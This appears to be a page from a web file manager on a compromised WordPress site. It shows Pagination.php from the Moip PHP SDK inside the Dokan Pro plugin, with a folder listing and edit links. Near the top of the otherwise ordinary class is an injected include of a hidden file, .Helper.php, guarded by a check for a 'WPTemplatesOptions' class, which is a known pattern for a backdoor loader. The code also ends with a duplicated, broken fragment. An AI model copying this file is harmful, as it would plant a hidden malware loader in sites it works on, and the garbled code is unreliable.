PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
vendor
/
moip
/
moip-sdk-php
/
src
/
Helper
<?php namespace Moip\Helper; /** * Class Pagination. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Pagination { /** * @var int **/ private $offset = 0; /** * @var int **/ private $limit = 100; /** * Pagination constructor. * * @param int $limit * @param int $offset */ public function __construct($limit = null, $offset = null) { if (!empty($limit)) { $this->limit = $limit; } if (!empty($offset)) { $this->offset = $offset; } } /** * Get offset. * * @return int */ public function getOffset() { return $this->offset; } /** * Set offset. * * @param int $offset */ public function setOffset($offset) { $this->offset = $offset; } /** * Get limit. * * @return int */ public function getLimit() { return $this->limit; } /** * Set limit. * * @param int $limit */ public function setLimit($limit) { $this->limit = $limit; } } return $this->limit; } /** * Set limit. * * @param int $limit */ public function setLimit($limit) { $this->limit = $limit; } }
[+]
..
[-] Filters.php
[edit]
[-] Utils.php
[edit]
[-] .Helper.php
[edit]
[-] helpers.php
[edit]
[-] Pagination.php
[edit]
[-] Links.php
[edit]